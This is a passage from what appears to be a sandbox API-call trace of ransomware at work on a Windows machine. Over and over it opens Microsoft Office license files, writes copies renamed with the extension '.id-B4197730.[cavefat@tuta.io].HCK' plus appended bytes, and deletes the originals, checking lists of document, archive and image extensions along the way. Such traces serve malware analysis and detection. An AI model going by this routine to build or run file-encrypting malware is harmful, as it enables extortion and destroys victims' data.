Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0243.905] lstrlenW (lpString=".jpg") returned 4 [0243.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.905] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38 [0243.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0244.035] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26541) returned 1 [0244.035] CloseHandle (hObject=0x4a4) returned 1 [0244.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220 [0244.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.239] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.239] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.240] GetLastError () returned 0x0 [0244.240] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0244.242] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0244.243] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.244] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x120, lpOverlapped=0x0) returned 1 [0244.244] SetEndOfFile (hFile=0x2d0) returned 1 [0244.244] CloseHandle (hObject=0x2d0) returned 1 [0244.244] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.244] SetEndOfFile (hFile=0x454) returned 1 [0244.246] CloseHandle (hObject=0x454) returned 1 [0244.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1 [0244.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.247] lstrlenW (lpString=".doc") returned 4 [0244.247] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.247] lstrlenW (lpString=".docx") returned 5 [0244.247] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.247] lstrlenW (lpString=".pdf") returned 4 [0244.247] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.247] lstrlenW (lpString=".xls") returned 4 [0244.247] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.247] lstrlenW (lpString=".xlsx") returned 5 [0244.248] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.248] lstrlenW (lpString=".ppt") returned 4 [0244.248] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".zip") returned 4 [0244.248] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".rar") returned 4 [0244.248] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".bz2") returned 4 [0244.248] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".7z") returned 3 [0244.248] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".dbf") returned 4 [0244.248] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".1cd") returned 4 [0244.248] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".jpg") returned 4 [0244.248] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".doc") returned 4 [0244.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".docx") returned 5 [0244.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.248] lstrlenW (lpString=".pdf") returned 4 [0244.248] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".xls") returned 4 [0244.248] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".xlsx") returned 5 [0244.248] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.248] lstrlenW (lpString=".ppt") returned 4 [0244.248] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.248] lstrlenW (lpString=".zip") returned 4 [0244.248] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".rar") returned 4 [0244.248] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.248] lstrlenW (lpString=".bz2") returned 4 [0244.248] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.249] lstrlenW (lpString=".7z") returned 3 [0244.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.249] lstrlenW (lpString=".dbf") returned 4 [0244.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.249] lstrlenW (lpString=".1cd") returned 4 [0244.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0244.249] lstrlenW (lpString=".jpg") returned 4 [0244.249] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.249] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.249] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41 [0244.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.250] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11651) returned 1 [0244.250] CloseHandle (hObject=0x454) returned 1 [0244.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0244.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.250] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.250] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.251] GetLastError () returned 0x0 [0244.251] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0244.253] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0244.253] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.254] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x126, lpOverlapped=0x0) returned 1 [0244.254] SetEndOfFile (hFile=0x2d0) returned 1 [0244.254] CloseHandle (hObject=0x2d0) returned 1 [0244.254] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.254] SetEndOfFile (hFile=0x454) returned 1 [0244.256] CloseHandle (hObject=0x454) returned 1 [0244.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1 [0244.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.257] lstrlenW (lpString=".doc") returned 4 [0244.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.257] lstrlenW (lpString=".docx") returned 5 [0244.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.258] lstrlenW (lpString=".pdf") returned 4 [0244.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".xls") returned 4 [0244.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".xlsx") returned 5 [0244.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.258] lstrlenW (lpString=".ppt") returned 4 [0244.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".zip") returned 4 [0244.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".rar") returned 4 [0244.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".bz2") returned 4 [0244.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".7z") returned 3 [0244.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".dbf") returned 4 [0244.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".1cd") returned 4 [0244.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".jpg") returned 4 [0244.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".doc") returned 4 [0244.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".docx") returned 5 [0244.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.258] lstrlenW (lpString=".pdf") returned 4 [0244.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".xls") returned 4 [0244.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString=".xlsx") returned 5 [0244.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.258] lstrlenW (lpString=".ppt") returned 4 [0244.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.258] lstrlenW (lpString=".zip") returned 4 [0244.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.259] lstrlenW (lpString=".rar") returned 4 [0244.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.259] lstrlenW (lpString=".bz2") returned 4 [0244.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.259] lstrlenW (lpString=".7z") returned 3 [0244.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.259] lstrlenW (lpString=".dbf") returned 4 [0244.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.259] lstrlenW (lpString=".1cd") returned 4 [0244.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0244.259] lstrlenW (lpString=".jpg") returned 4 [0244.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.259] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.259] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37 [0244.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.260] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11199) returned 1 [0244.260] CloseHandle (hObject=0x454) returned 1 [0244.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220 [0244.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0244.260] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.261] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0244.261] GetLastError () returned 0x0 [0244.261] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0244.263] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0244.264] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.264] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11e, lpOverlapped=0x0) returned 1 [0244.264] SetEndOfFile (hFile=0x2d0) returned 1 [0244.264] CloseHandle (hObject=0x2d0) returned 1 [0244.264] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.265] SetEndOfFile (hFile=0x454) returned 1 [0244.266] CloseHandle (hObject=0x454) returned 1 [0244.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".doc") returned 4 [0244.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".docx") returned 5 [0244.268] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.268] lstrlenW (lpString=".pdf") returned 4 [0244.268] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".xls") returned 4 [0244.268] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".xlsx") returned 5 [0244.268] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.268] lstrlenW (lpString=".ppt") returned 4 [0244.268] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".zip") returned 4 [0244.268] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".rar") returned 4 [0244.268] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".bz2") returned 4 [0244.268] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".7z") returned 3 [0244.268] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".dbf") returned 4 [0244.268] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".1cd") returned 4 [0244.268] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".jpg") returned 4 [0244.268] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.268] lstrlenW (lpString=".doc") returned 4 [0244.268] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.268] lstrlenW (lpString=".docx") returned 5 [0244.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.269] lstrlenW (lpString=".pdf") returned 4 [0244.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString=".xls") returned 4 [0244.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString=".xlsx") returned 5 [0244.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.269] lstrlenW (lpString=".ppt") returned 4 [0244.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0244.269] lstrlenW (lpString=".zip") returned 4 [0244.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.269] lstrlenW (lpString=".rar") returned 4 [0244.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 